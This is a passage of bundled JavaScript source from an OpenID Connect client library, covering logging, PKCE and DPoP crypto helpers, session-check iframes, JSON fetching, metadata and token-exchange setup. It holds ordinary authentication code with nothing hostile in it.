\"DEBUG\";\n return Log2;\n})(Log || {});\n((Log2) => {\n function reset() {\n level = 3 /* INFO */;\n logger = nopLogger;\n }\n Log2.reset = reset;\n function setLevel(value) {\n if (!(0 /* NONE */ <= value && value <= 4 /* DEBUG */)) {\n throw new Error(\"Invalid log level\");\n }\n level = value;\n }\n Log2.setLevel = setLevel;\n function setLogger(value) {\n logger = value;\n }\n Log2.setLogger = setLogger;\n})(Log || (Log = {}));\nvar Logger = class _Logger {\n constructor(_name) {\n this._name = _name;\n }\n /* eslint-disable @typescript-eslint/no-unsafe-enum-comparison */\n debug(...args) {\n if (level >= 4 /* DEBUG */) {\n logger.debug(_Logger._format(this._name, this._method), ...args);\n }\n }\n info(...args) {\n if (level >= 3 /* INFO */) {\n logger.info(_Logger._format(this._name, this._method), ...args);\n }\n }\n warn(...args) {\n if (level >= 2 /* WARN */) {\n logger.warn(_Logger._format(this._name, this._method), ...args);\n }\n }\n error(...args) {\n if (level >= 1 /* ERROR */) {\n logger.error(_Logger._format(this._name, this._method), ...args);\n }\n }\n /* eslint-enable @typescript-eslint/no-unsafe-enum-comparison */\n throw(err) {\n this.error(err);\n throw err;\n }\n create(method) {\n const methodLogger = Object.create(this);\n methodLogger._method = method;\n methodLogger.debug(\"begin\");\n return methodLogger;\n }\n static createStatic(name, staticMethod) {\n const staticLogger = new _Logger(`${name}.${staticMethod}`);\n staticLogger.debug(\"begin\");\n return staticLogger;\n }\n static _format(name, method) {\n const prefix = `[${name}]`;\n return method ? `${prefix} ${method}:` : prefix;\n }\n /* eslint-disable @typescript-eslint/no-unsafe-enum-comparison */\n // helpers for static class methods\n static debug(name, ...args) {\n if (level >= 4 /* DEBUG */) {\n logger.debug(_Logger._format(name), ...args);\n }\n }\n static info(name, ...args) {\n if (level >= 3 /* INFO */) {\n logger.info(_Logger._format(name), ...args);\n }\n }\n static warn(name, ...args) {\n if (level >= 2 /* WARN */) {\n logger.warn(_Logger._format(name), ...args);\n }\n }\n static error(name, ...args) {\n if (level >= 1 /* ERROR */) {\n logger.error(_Logger._format(name), ...args);\n }\n }\n /* eslint-enable @typescript-eslint/no-unsafe-enum-comparison */\n};\nLog.reset();\n\n// src/utils/JwtUtils.ts\nimport { jwtDecode } from \"jwt-decode\";\nvar JwtUtils = class {\n // IMPORTANT: doesn't validate the token\n static decode(token) {\n try {\n return jwtDecode(token);\n } catch (err) {\n Logger.error(\"JwtUtils.decode\", err);\n throw err;\n }\n }\n static async generateSignedJwt(header, payload, privateKey) {\n const encodedHeader = CryptoUtils.encodeBase64Url(new TextEncoder().encode(JSON.stringify(header)));\n const encodedPayload = CryptoUtils.encodeBase64Url(new TextEncoder().encode(JSON.stringify(payload)));\n const encodedToken = `${encodedHeader}.${encodedPayload}`;\n const signature = await window.crypto.subtle.sign(\n {\n name: \"ECDSA\",\n hash: { name: \"SHA-256\" }\n },\n privateKey,\n new TextEncoder().encode(encodedToken)\n );\n const encodedSignature = CryptoUtils.encodeBase64Url(new Uint8Array(signature));\n return `${encodedToken}.${encodedSignature}`;\n }\n};\n\n// src/utils/CryptoUtils.ts\nvar UUID_V4_TEMPLATE = \"10000000-1000-4000-8000-100000000000\";\nvar toBase64 = (val) => btoa([...new Uint8Array(val)].map((chr) => String.fromCharCode(chr)).join(\"\"));\nvar _CryptoUtils = class _CryptoUtils {\n static _randomWord() {\n const arr = new Uint32Array(1);\n crypto.getRandomValues(arr);\n return arr[0];\n }\n /**\n * Generates RFC4122 version 4 guid\n */\n static generateUUIDv4() {\n const uuid = UUID_V4_TEMPLATE.replace(\n /[018]/g,\n (c) => (+c ^ _CryptoUtils._randomWord() & 15 >> +c / 4).toString(16)\n );\n return uuid.replace(/-/g, \"\");\n }\n /**\n * PKCE: Generate a code verifier\n */\n static generateCodeVerifier() {\n return _CryptoUtils.generateUUIDv4() + _CryptoUtils.generateUUIDv4() + _CryptoUtils.generateUUIDv4();\n }\n /**\n * PKCE: Generate a code challenge\n */\n static async generateCodeChallenge(code_verifier) {\n if (!crypto.subtle) {\n throw new Error(\"Crypto.subtle is available only in secure contexts (HTTPS).\");\n }\n try {\n const encoder = new TextEncoder();\n const data = encoder.encode(code_verifier);\n const hashed = await crypto.subtle.digest(\"SHA-256\", data);\n return toBase64(hashed).replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n } catch (err) {\n Logger.error(\"CryptoUtils.generateCodeChallenge\", err);\n throw err;\n }\n }\n /**\n * Generates a base64-encoded string for a basic auth header\n */\n static generateBasicAuth(client_id, client_secret) {\n const encoder = new TextEncoder();\n const data = encoder.encode([client_id, client_secret].join(\":\"));\n return toBase64(data);\n }\n /**\n * Generates a hash of a string using a given algorithm\n * @param alg\n * @param message\n */\n static async hash(alg, message) {\n const msgUint8 = new TextEncoder().encode(message);\n const hashBuffer = await crypto.subtle.digest(alg, msgUint8);\n return new Uint8Array(hashBuffer);\n }\n /**\n * Generates a rfc7638 compliant jwk thumbprint\n * @param jwk\n */\n static async customCalculateJwkThumbprint(jwk) {\n let jsonObject;\n switch (jwk.kty) {\n case \"RSA\":\n jsonObject = {\n \"e\": jwk.e,\n \"kty\": jwk.kty,\n \"n\": jwk.n\n };\n break;\n case \"EC\":\n jsonObject = {\n \"crv\": jwk.crv,\n \"kty\": jwk.kty,\n \"x\": jwk.x,\n \"y\": jwk.y\n };\n break;\n case \"OKP\":\n jsonObject = {\n \"crv\": jwk.crv,\n \"kty\": jwk.kty,\n \"x\": jwk.x\n };\n break;\n case \"oct\":\n jsonObject = {\n \"crv\": jwk.k,\n \"kty\": jwk.kty\n };\n break;\n default:\n throw new Error(\"Unknown jwk type\");\n }\n const utf8encodedAndHashed = await _CryptoUtils.hash(\"SHA-256\", JSON.stringify(jsonObject));\n return _CryptoUtils.encodeBase64Url(utf8encodedAndHashed);\n }\n static async generateDPoPProof({\n url,\n accessToken,\n httpMethod,\n keyPair,\n nonce\n }) {\n let hashedToken;\n let encodedHash;\n const payload = {\n \"jti\": window.crypto.randomUUID(),\n \"htm\": httpMethod != null ? httpMethod : \"GET\",\n \"htu\": url,\n \"iat\": Math.floor(Date.now() / 1e3)\n };\n if (accessToken) {\n hashedToken = await _CryptoUtils.hash(\"SHA-256\", accessToken);\n encodedHash = _CryptoUtils.encodeBase64Url(hashedToken);\n payload.ath = encodedHash;\n }\n if (nonce) {\n payload.nonce = nonce;\n }\n try {\n const publicJwk = await crypto.subtle.exportKey(\"jwk\", keyPair.publicKey);\n const header = {\n \"alg\": \"ES256\",\n \"typ\": \"dpop+jwt\",\n \"jwk\": {\n \"crv\": publicJwk.crv,\n \"kty\": publicJwk.kty,\n \"x\": publicJwk.x,\n \"y\": publicJwk.y\n }\n };\n return await JwtUtils.generateSignedJwt(header, payload, keyPair.privateKey);\n } catch (err) {\n if (err instanceof TypeError) {\n throw new Error(`Error exporting dpop public key: ${err.message}`);\n } else {\n throw err;\n }\n }\n }\n static async generateDPoPJkt(keyPair) {\n try {\n const publicJwk = await crypto.subtle.exportKey(\"jwk\", keyPair.publicKey);\n return await _CryptoUtils.customCalculateJwkThumbprint(publicJwk);\n } catch (err) {\n if (err instanceof TypeError) {\n throw new Error(`Could not retrieve dpop keys from storage: ${err.message}`);\n } else {\n throw err;\n }\n }\n }\n static async generateDPoPKeys() {\n return await window.crypto.subtle.generateKey(\n {\n name: \"ECDSA\",\n namedCurve: \"P-256\"\n },\n false,\n [\"sign\", \"verify\"]\n );\n }\n};\n/**\n * Generates a base64url encoded string\n */\n_CryptoUtils.encodeBase64Url = (input) => {\n return toBase64(input).replace(/=/g, \"\").replace(/\\+/g, \"-\").replace(/\\//g, \"_\");\n};\nvar CryptoUtils = _CryptoUtils;\n\n// src/utils/Event.ts\nvar Event = class {\n constructor(_name) {\n this._name = _name;\n this._callbacks = [];\n this._logger = new Logger(`Event('${this._name}')`);\n }\n addHandler(cb) {\n this._callbacks.push(cb);\n return () => this.removeHandler(cb);\n }\n removeHandler(cb) {\n const idx = this._callbacks.lastIndexOf(cb);\n if (idx >= 0) {\n this._callbacks.splice(idx, 1);\n }\n }\n async raise(...ev) {\n this._logger.debug(\"raise:\", ...ev);\n for (const cb of this._callbacks) {\n await cb(...ev);\n }\n }\n};\n\n// src/utils/PopupUtils.ts\nvar PopupUtils = class {\n /**\n * Populates a map of window features with a placement centered in front of\n * the current window. If no explicit width is given, a default value is\n * binned into [800, 720, 600, 480, 360] based on the current window's width.\n */\n static center({ ...features }) {\n var _a, _b, _c;\n if (features.width == null)\n features.width = (_a = [800, 720, 600, 480].find((width) => width <= window.outerWidth / 1.618)) != null ? _a : 360;\n (_b = features.left) != null ? _b : features.left = Math.max(0, Math.round(window.screenX + (window.outerWidth - features.width) / 2));\n if (features.height != null)\n (_c = features.top) != null ? _c : features.top = Math.max(0, Math.round(window.screenY + (window.outerHeight - features.height) / 2));\n return features;\n }\n static serialize(features) {\n return Object.entries(features).filter(([, value]) => value != null).map(([key, value]) => `${key}=${typeof value !== \"boolean\" ? value : value ? \"yes\" : \"no\"}`).join(\",\");\n }\n};\n\n// src/utils/Timer.ts\nvar Timer = class _Timer extends Event {\n constructor() {\n super(...arguments);\n this._logger = new Logger(`Timer('${this._name}')`);\n this._timerHandle = null;\n this._expiration = 0;\n this._callback = () => {\n const diff = this._expiration - _Timer.getEpochTime();\n this._logger.debug(\"timer completes in\", diff);\n if (this._expiration <= _Timer.getEpochTime()) {\n this.cancel();\n void super.raise();\n }\n };\n }\n // get the time\n static getEpochTime() {\n return Math.floor(Date.now() / 1e3);\n }\n init(durationInSeconds) {\n const logger2 = this._logger.create(\"init\");\n durationInSeconds = Math.max(Math.floor(durationInSeconds), 1);\n const expiration = _Timer.getEpochTime() + durationInSeconds;\n if (this.expiration === expiration && this._timerHandle) {\n logger2.debug(\"skipping since already initialized for expiration at\", this.expiration);\n return;\n }\n this.cancel();\n logger2.debug(\"using duration\", durationInSeconds);\n this._expiration = expiration;\n const timerDurationInSeconds = Math.min(durationInSeconds, 5);\n this._timerHandle = setInterval(this._callback, timerDurationInSeconds * 1e3);\n }\n get expiration() {\n return this._expiration;\n }\n cancel() {\n this._logger.create(\"cancel\");\n if (this._timerHandle) {\n clearInterval(this._timerHandle);\n this._timerHandle = null;\n }\n }\n};\n\n// src/utils/UrlUtils.ts\nvar UrlUtils = class {\n static readParams(url, responseMode = \"query\") {\n if (!url) throw new TypeError(\"Invalid URL\");\n const parsedUrl = new URL(url, \"http://127.0.0.1\");\n const params = parsedUrl[responseMode === \"fragment\" ? \"hash\" : \"search\"];\n return new URLSearchParams(params.slice(1));\n }\n};\nvar URL_STATE_DELIMITER = \";\";\n\n// src/errors/ErrorResponse.ts\nvar ErrorResponse = class extends Error {\n constructor(args, form) {\n var _a, _b, _c;\n super(args.error_description || args.error || \"\");\n this.form = form;\n /** Marker to detect class: \"ErrorResponse\" */\n this.name = \"ErrorResponse\";\n if (!args.error) {\n Logger.error(\"ErrorResponse\", \"No error passed\");\n throw new Error(\"No error passed\");\n }\n this.error = args.error;\n this.error_description = (_a = args.error_description) != null ? _a : null;\n this.error_uri = (_b = args.error_uri) != null ? _b : null;\n this.state = args.userState;\n this.session_state = (_c = args.session_state) != null ? _c : null;\n this.url_state = args.url_state;\n }\n};\n\n// src/errors/ErrorTimeout.ts\nvar ErrorTimeout = class extends Error {\n constructor(message) {\n super(message);\n /** Marker to detect class: \"ErrorTimeout\" */\n this.name = \"ErrorTimeout\";\n }\n};\n\n// src/AccessTokenEvents.ts\nvar AccessTokenEvents = class {\n constructor(args) {\n this._logger = new Logger(\"AccessTokenEvents\");\n this._expiringTimer = new Timer(\"Access token expiring\");\n this._expiredTimer = new Timer(\"Access token expired\");\n this._expiringNotificationTimeInSeconds = args.expiringNotificationTimeInSeconds;\n }\n async load(container) {\n const logger2 = this._logger.create(\"load\");\n if (container.access_token && container.expires_in !== void 0) {\n const duration = container.expires_in;\n logger2.debug(\"access token present, remaining duration:\", duration);\n if (duration > 0) {\n let expiring = duration - this._expiringNotificationTimeInSeconds;\n if (expiring <= 0) {\n expiring = 1;\n }\n logger2.debug(\"registering expiring timer, raising in\", expiring, \"seconds\");\n this._expiringTimer.init(expiring);\n } else {\n logger2.debug(\"canceling existing expiring timer because we're past expiration.\");\n this._expiringTimer.cancel();\n }\n const expired = duration + 1;\n logger2.debug(\"registering expired timer, raising in\", expired, \"seconds\");\n this._expiredTimer.init(expired);\n } else {\n this._expiringTimer.cancel();\n this._expiredTimer.cancel();\n }\n }\n async unload() {\n this._logger.debug(\"unload: canceling existing access token timers\");\n this._expiringTimer.cancel();\n this._expiredTimer.cancel();\n }\n /**\n * Add callback: Raised prior to the access token expiring.\n */\n addAccessTokenExpiring(cb) {\n return this._expiringTimer.addHandler(cb);\n }\n /**\n * Remove callback: Raised prior to the access token expiring.\n */\n removeAccessTokenExpiring(cb) {\n this._expiringTimer.removeHandler(cb);\n }\n /**\n * Add callback: Raised after the access token has expired.\n */\n addAccessTokenExpired(cb) {\n return this._expiredTimer.addHandler(cb);\n }\n /**\n * Remove callback: Raised after the access token has expired.\n */\n removeAccessTokenExpired(cb) {\n this._expiredTimer.removeHandler(cb);\n }\n};\n\n// src/CheckSessionIFrame.ts\nvar CheckSessionIFrame = class {\n constructor(_callback, _client_id, url, _intervalInSeconds, _stopOnError) {\n this._callback = _callback;\n this._client_id = _client_id;\n this._intervalInSeconds = _intervalInSeconds;\n this._stopOnError = _stopOnError;\n this._logger = new Logger(\"CheckSessionIFrame\");\n this._timer = null;\n this._session_state = null;\n this._message = (e) => {\n if (e.origin === this._frame_origin && e.source === this._frame.contentWindow) {\n if (e.data === \"error\") {\n this._logger.error(\"error message from check session op iframe\");\n if (this._stopOnError) {\n this.stop();\n }\n } else if (e.data === \"changed\") {\n this._logger.debug(\"changed message from check session op iframe\");\n this.stop();\n void this._callback();\n } else {\n this._logger.debug(e.data + \" message from check session op iframe\");\n }\n }\n };\n const parsedUrl = new URL(url);\n this._frame_origin = parsedUrl.origin;\n this._frame = window.document.createElement(\"iframe\");\n this._frame.style.visibility = \"hidden\";\n this._frame.style.position = \"fixed\";\n this._frame.style.left = \"-1000px\";\n this._frame.style.top = \"0\";\n this._frame.width = \"0\";\n this._frame.height = \"0\";\n this._frame.src = parsedUrl.href;\n }\n load() {\n return new Promise((resolve) => {\n this._frame.onload = () => {\n resolve();\n };\n window.document.body.appendChild(this._frame);\n window.addEventListener(\"message\", this._message, false);\n });\n }\n start(session_state) {\n if (this._session_state === session_state) {\n return;\n }\n this._logger.create(\"start\");\n this.stop();\n this._session_state = session_state;\n const send = () => {\n if (!this._frame.contentWindow || !this._session_state) {\n return;\n }\n this._frame.contentWindow.postMessage(this._client_id + \" \" + this._session_state, this._frame_origin);\n };\n send();\n this._timer = setInterval(send, this._intervalInSeconds * 1e3);\n }\n stop() {\n this._logger.create(\"stop\");\n this._session_state = null;\n if (this._timer) {\n clearInterval(this._timer);\n this._timer = null;\n }\n }\n};\n\n// src/InMemoryWebStorage.ts\nvar InMemoryWebStorage = class {\n constructor() {\n this._logger = new Logger(\"InMemoryWebStorage\");\n this._data = {};\n }\n clear() {\n this._logger.create(\"clear\");\n this._data = {};\n }\n getItem(key) {\n this._logger.create(`getItem('${key}')`);\n return this._data[key];\n }\n setItem(key, value) {\n this._logger.create(`setItem('${key}')`);\n this._data[key] = value;\n }\n removeItem(key) {\n this._logger.create(`removeItem('${key}')`);\n delete this._data[key];\n }\n get length() {\n return Object.getOwnPropertyNames(this._data).length;\n }\n key(index) {\n return Object.getOwnPropertyNames(this._data)[index];\n }\n};\n\n// src/errors/ErrorDPoPNonce.ts\nvar ErrorDPoPNonce = class extends Error {\n constructor(nonce, message) {\n super(message);\n /** Marker to detect class: \"ErrorDPoPNonce\" */\n this.name = \"ErrorDPoPNonce\";\n this.nonce = nonce;\n }\n};\n\n// src/JsonService.ts\nvar JsonService = class {\n constructor(additionalContentTypes = [], _jwtHandler = null, _extraHeaders = {}) {\n this._jwtHandler = _jwtHandler;\n this._extraHeaders = _extraHeaders;\n this._logger = new Logger(\"JsonService\");\n this._contentTypes = [];\n this._contentTypes.push(...additionalContentTypes, \"application/json\");\n if (_jwtHandler) {\n this._contentTypes.push(\"application/jwt\");\n }\n }\n async fetchWithTimeout(input, init = {}) {\n const { timeoutInSeconds, ...initFetch } = init;\n if (!timeoutInSeconds) {\n return await fetch(input, initFetch);\n }\n const controller = new AbortController();\n const timeoutId = setTimeout(() => controller.abort(), timeoutInSeconds * 1e3);\n try {\n const response = await fetch(input, {\n ...init,\n signal: controller.signal\n });\n return response;\n } catch (err) {\n if (err instanceof DOMException && err.name === \"AbortError\") {\n throw new ErrorTimeout(\"Network timed out\");\n }\n throw err;\n } finally {\n clearTimeout(timeoutId);\n }\n }\n async getJson(url, {\n token,\n credentials,\n timeoutInSeconds\n } = {}) {\n const logger2 = this._logger.create(\"getJson\");\n const headers = {\n \"Accept\": this._contentTypes.join(\", \")\n };\n if (token) {\n logger2.debug(\"token passed, setting Authorization header\");\n headers[\"Authorization\"] = \"Bearer \" + token;\n }\n this._appendExtraHeaders(headers);\n let response;\n try {\n logger2.debug(\"url:\", url);\n response = await this.fetchWithTimeout(url, { method: \"GET\", headers, timeoutInSeconds, credentials });\n } catch (err) {\n logger2.error(\"Network Error\");\n throw err;\n }\n logger2.debug(\"HTTP response received, status\", response.status);\n const contentType = response.headers.get(\"Content-Type\");\n if (contentType && !this._contentTypes.find((item) => contentType.startsWith(item))) {\n logger2.throw(new Error(`Invalid response Content-Type: ${contentType != null ? contentType : \"undefined\"}, from URL: ${url}`));\n }\n if (response.ok && this._jwtHandler && (contentType == null ? void 0 : contentType.startsWith(\"application/jwt\"))) {\n return await this._jwtHandler(await response.text());\n }\n let json;\n try {\n json = await response.json();\n } catch (err) {\n logger2.error(\"Error parsing JSON response\", err);\n if (response.ok) throw err;\n throw new Error(`${response.statusText} (${response.status})`);\n }\n if (!response.ok) {\n logger2.error(\"Error from server:\", json);\n if (json.error) {\n throw new ErrorResponse(json);\n }\n throw new Error(`${response.statusText} (${response.status}): ${JSON.stringify(json)}`);\n }\n return json;\n }\n async postForm(url, {\n body,\n basicAuth,\n timeoutInSeconds,\n initCredentials,\n extraHeaders\n }) {\n const logger2 = this._logger.create(\"postForm\");\n const headers = {\n \"Accept\": this._contentTypes.join(\", \"),\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n ...extraHeaders\n };\n if (basicAuth !== void 0) {\n headers[\"Authorization\"] = \"Basic \" + basicAuth;\n }\n this._appendExtraHeaders(headers);\n let response;\n try {\n logger2.debug(\"url:\", url);\n response = await this.fetchWithTimeout(url, { method: \"POST\", headers, body, timeoutInSeconds, credentials: initCredentials });\n } catch (err) {\n logger2.error(\"Network error\");\n throw err;\n }\n logger2.debug(\"HTTP response received, status\", response.status);\n const contentType = response.headers.get(\"Content-Type\");\n if (contentType && !this._contentTypes.find((item) => contentType.startsWith(item))) {\n throw new Error(`Invalid response Content-Type: ${contentType != null ? contentType : \"undefined\"}, from URL: ${url}`);\n }\n const responseText = await response.text();\n let json = {};\n if (responseText) {\n try {\n json = JSON.parse(responseText);\n } catch (err) {\n logger2.error(\"Error parsing JSON response\", err);\n if (response.ok) throw err;\n throw new Error(`${response.statusText} (${response.status})`);\n }\n }\n if (!response.ok) {\n logger2.error(\"Error from server:\", json);\n if (response.headers.has(\"dpop-nonce\")) {\n const nonce = response.headers.get(\"dpop-nonce\");\n throw new ErrorDPoPNonce(nonce, `${JSON.stringify(json)}`);\n }\n if (json.error) {\n throw new ErrorResponse(json, body);\n }\n throw new Error(`${response.statusText} (${response.status}): ${JSON.stringify(json)}`);\n }\n return json;\n }\n _appendExtraHeaders(headers) {\n const logger2 = this._logger.create(\"appendExtraHeaders\");\n const customKeys = Object.keys(this._extraHeaders);\n const protectedHeaders = [\n \"accept\",\n \"content-type\"\n ];\n const preventOverride = [\n \"authorization\"\n ];\n if (customKeys.length === 0) {\n return;\n }\n customKeys.forEach((headerName) => {\n if (protectedHeaders.includes(headerName.toLocaleLowerCase())) {\n logger2.warn(\"Protected header could not be set\", headerName, protectedHeaders);\n return;\n }\n if (preventOverride.includes(headerName.toLocaleLowerCase()) && Object.keys(headers).includes(headerName)) {\n logger2.warn(\"Header could not be overridden\", headerName, preventOverride);\n return;\n }\n const content = typeof this._extraHeaders[headerName] === \"function\" ? this._extraHeaders[headerName]() : this._extraHeaders[headerName];\n if (content && content !== \"\") {\n headers[headerName] = content;\n }\n });\n }\n};\n\n// src/MetadataService.ts\nvar MetadataService = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"MetadataService\");\n this._signingKeys = null;\n this._metadata = null;\n this._metadataUrl = this._settings.metadataUrl;\n this._jsonService = new JsonService(\n [\"application/jwk-set+json\"],\n null,\n this._settings.extraHeaders\n );\n if (this._settings.signingKeys) {\n this._logger.debug(\"using signingKeys from settings\");\n this._signingKeys = this._settings.signingKeys;\n }\n if (this._settings.metadata) {\n this._logger.debug(\"using metadata from settings\");\n this._metadata = this._settings.metadata;\n }\n if (this._settings.fetchRequestCredentials) {\n this._logger.debug(\"using fetchRequestCredentials from settings\");\n this._fetchRequestCredentials = this._settings.fetchRequestCredentials;\n }\n }\n resetSigningKeys() {\n this._signingKeys = null;\n }\n async getMetadata() {\n const logger2 = this._logger.create(\"getMetadata\");\n if (this._metadata) {\n logger2.debug(\"using cached values\");\n return this._metadata;\n }\n if (!this._metadataUrl) {\n logger2.throw(new Error(\"No authority or metadataUrl configured on settings\"));\n throw null;\n }\n logger2.debug(\"getting metadata from\", this._metadataUrl);\n const metadata = await this._jsonService.getJson(this._metadataUrl, { credentials: this._fetchRequestCredentials, timeoutInSeconds: this._settings.requestTimeoutInSeconds });\n logger2.debug(\"merging remote JSON with seed metadata\");\n this._metadata = Object.assign({}, metadata, this._settings.metadataSeed);\n return this._metadata;\n }\n getIssuer() {\n return this._getMetadataProperty(\"issuer\");\n }\n getAuthorizationEndpoint() {\n return this._getMetadataProperty(\"authorization_endpoint\");\n }\n getUserInfoEndpoint() {\n return this._getMetadataProperty(\"userinfo_endpoint\");\n }\n getTokenEndpoint(optional = true) {\n return this._getMetadataProperty(\"token_endpoint\", optional);\n }\n getCheckSessionIframe() {\n return this._getMetadataProperty(\"check_session_iframe\", true);\n }\n getEndSessionEndpoint() {\n return this._getMetadataProperty(\"end_session_endpoint\", true);\n }\n getRevocationEndpoint(optional = true) {\n return this._getMetadataProperty(\"revocation_endpoint\", optional);\n }\n getKeysEndpoint(optional = true) {\n return this._getMetadataProperty(\"jwks_uri\", optional);\n }\n async _getMetadataProperty(name, optional = false) {\n const logger2 = this._logger.create(`_getMetadataProperty('${name}')`);\n const metadata = await this.getMetadata();\n logger2.debug(\"resolved\");\n if (metadata[name] === void 0) {\n if (optional === true) {\n logger2.warn(\"Metadata does not contain optional property\");\n return void 0;\n }\n logger2.throw(new Error(\"Metadata does not contain property \" + name));\n }\n return metadata[name];\n }\n async getSigningKeys() {\n const logger2 = this._logger.create(\"getSigningKeys\");\n if (this._signingKeys) {\n logger2.debug(\"returning signingKeys from cache\");\n return this._signingKeys;\n }\n const jwks_uri = await this.getKeysEndpoint(false);\n logger2.debug(\"got jwks_uri\", jwks_uri);\n const keySet = await this._jsonService.getJson(jwks_uri, { timeoutInSeconds: this._settings.requestTimeoutInSeconds });\n logger2.debug(\"got key set\", keySet);\n if (!Array.isArray(keySet.keys)) {\n logger2.throw(new Error(\"Missing keys on keyset\"));\n throw null;\n }\n this._signingKeys = keySet.keys;\n return this._signingKeys;\n }\n};\n\n// src/WebStorageStateStore.ts\nvar WebStorageStateStore = class {\n constructor({\n prefix = \"oidc.\",\n store = localStorage\n } = {}) {\n this._logger = new Logger(\"WebStorageStateStore\");\n this._store = store;\n this._prefix = prefix;\n }\n async set(key, value) {\n this._logger.create(`set('${key}')`);\n key = this._prefix + key;\n await this._store.setItem(key, value);\n }\n async get(key) {\n this._logger.create(`get('${key}')`);\n key = this._prefix + key;\n const item = await this._store.getItem(key);\n return item;\n }\n async remove(key) {\n this._logger.create(`remove('${key}')`);\n key = this._prefix + key;\n const item = await this._store.getItem(key);\n await this._store.removeItem(key);\n return item;\n }\n async getAllKeys() {\n this._logger.create(\"getAllKeys\");\n const len = await this._store.length;\n const keys = [];\n for (let index = 0; index < len; index++) {\n const key = await this._store.key(index);\n if (key && key.indexOf(this._prefix) === 0) {\n keys.push(key.substr(this._prefix.length));\n }\n }\n return keys;\n }\n};\n\n// src/OidcClientSettings.ts\nvar DefaultResponseType = \"code\";\nvar DefaultScope = \"openid\";\nvar DefaultClientAuthentication = \"client_secret_post\";\nvar DefaultStaleStateAgeInSeconds = 60 * 15;\nvar OidcClientSettingsStore = class {\n constructor({\n // metadata related\n authority,\n metadataUrl,\n metadata,\n signingKeys,\n metadataSeed,\n // client related\n client_id,\n client_secret,\n response_type = DefaultResponseType,\n scope = DefaultScope,\n redirect_uri,\n post_logout_redirect_uri,\n client_authentication = DefaultClientAuthentication,\n // optional protocol\n prompt,\n display,\n max_age,\n ui_locales,\n acr_values,\n resource,\n response_mode,\n // behavior flags\n filterProtocolClaims = true,\n loadUserInfo = false,\n requestTimeoutInSeconds,\n staleStateAgeInSeconds = DefaultStaleStateAgeInSeconds,\n mergeClaimsStrategy = { array: \"replace\" },\n disablePKCE = false,\n // other behavior\n stateStore,\n revokeTokenAdditionalContentTypes,\n fetchRequestCredentials,\n refreshTokenAllowedScope,\n // extra\n extraQueryParams = {},\n extraTokenParams = {},\n extraHeaders = {},\n dpop,\n omitScopeWhenRequesting = false\n }) {\n var _a;\n this.authority = authority;\n if (metadataUrl) {\n this.metadataUrl = metadataUrl;\n } else {\n this.metadataUrl = authority;\n if (authority) {\n if (!this.metadataUrl.endsWith(\"/\")) {\n this.metadataUrl += \"/\";\n }\n this.metadataUrl += \".well-known/openid-configuration\";\n }\n }\n this.metadata = metadata;\n this.metadataSeed = metadataSeed;\n this.signingKeys = signingKeys;\n this.client_id = client_id;\n this.client_secret = client_secret;\n this.response_type = response_type;\n this.scope = scope;\n this.redirect_uri = redirect_uri;\n this.post_logout_redirect_uri = post_logout_redirect_uri;\n this.client_authentication = client_authentication;\n this.prompt = prompt;\n this.display = display;\n this.max_age = max_age;\n this.ui_locales = ui_locales;\n this.acr_values = acr_values;\n this.resource = resource;\n this.response_mode = response_mode;\n this.filterProtocolClaims = filterProtocolClaims != null ? filterProtocolClaims : true;\n this.loadUserInfo = !!loadUserInfo;\n this.staleStateAgeInSeconds = staleStateAgeInSeconds;\n this.mergeClaimsStrategy = mergeClaimsStrategy;\n this.omitScopeWhenRequesting = omitScopeWhenRequesting;\n this.disablePKCE = !!disablePKCE;\n this.revokeTokenAdditionalContentTypes = revokeTokenAdditionalContentTypes;\n this.fetchRequestCredentials = fetchRequestCredentials ? fetchRequestCredentials : \"same-origin\";\n this.requestTimeoutInSeconds = requestTimeoutInSeconds;\n if (stateStore) {\n this.stateStore = stateStore;\n } else {\n const store = typeof window !== \"undefined\" ? window.localStorage : new InMemoryWebStorage();\n this.stateStore = new WebStorageStateStore({ store });\n }\n this.refreshTokenAllowedScope = refreshTokenAllowedScope;\n this.extraQueryParams = extraQueryParams;\n this.extraTokenParams = extraTokenParams;\n this.extraHeaders = extraHeaders;\n this.dpop = dpop;\n if (this.dpop && !((_a = this.dpop) == null ? void 0 : _a.store)) {\n throw new Error(\"A DPoPStore is required when dpop is enabled\");\n }\n }\n};\n\n// src/UserInfoService.ts\nvar UserInfoService = class {\n constructor(_settings, _metadataService) {\n this._settings = _settings;\n this._metadataService = _metadataService;\n this._logger = new Logger(\"UserInfoService\");\n this._getClaimsFromJwt = async (responseText) => {\n const logger2 = this._logger.create(\"_getClaimsFromJwt\");\n try {\n const payload = JwtUtils.decode(responseText);\n logger2.debug(\"JWT decoding successful\");\n return payload;\n } catch (err) {\n logger2.error(\"Error parsing JWT response\");\n throw err;\n }\n };\n this._jsonService = new JsonService(\n void 0,\n this._getClaimsFromJwt,\n this._settings.extraHeaders\n );\n }\n async getClaims(token) {\n const logger2 = this._logger.create(\"getClaims\");\n if (!token) {\n this._logger.throw(new Error(\"No token passed\"));\n }\n const url = await this._metadataService.getUserInfoEndpoint();\n logger2.debug(\"got userinfo url\", url);\n const claims = await this._jsonService.getJson(url, {\n token,\n credentials: this._settings.fetchRequestCredentials,\n timeoutInSeconds: this._settings.requestTimeoutInSeconds\n });\n logger2.debug(\"got claims\", claims);\n return claims;\n }\n};\n\n// src/TokenClient.ts\nvar TokenClient = class {\n constructor(_settings, _metadataService) {\n this._settings = _settings;\n this._metadataService = _metadataService;\n this._logger = new Logger(\"TokenClient\");\n this._jsonService = new JsonService(\n this._settings.revokeTokenAdditionalContentTypes,\n null,\n this._settings.extraHeaders\n );\n }\n /**\n * Exchange code.\n *\n * @see https://www.rfc-editor.org/rfc/rfc6749#section-4.1.3\n */\n async exchangeCode({\n grant_type = \"authorization_code\",\n redirect_uri = this._settings.redirect_uri,\n client_id = this._settings.client_id,\n client_secret = this._settings.client_secret,\n extraHeaders,\n ...args\n }) {\n const logger2 = this._logger.create(\"exchangeCode\");\n if (!client_id) {\n logger2.throw(new Error(\"A client_id is required\"));\n }\n if (!redirect_uri) {\n logger2.throw(new Error(\"A redirect_uri is required\"));\n }\n if (!args.code) {\n logger2.throw(new Error(\"A code is required\"));\n }\n const params = new URLSearchParams({ grant_type, redirect_uri });\n for (const [key, value] of Object.entries(args)) {\n if (value != null) {\n params.set(key, value);\n }\n }\n let basicAuth;\n switch (this._settings.client_authentication) {\n case \"client_secret_basic\":\n if (client_secret === void 0 || client_secret === null) {\n logger2.throw(new Error(\"A client_secret is 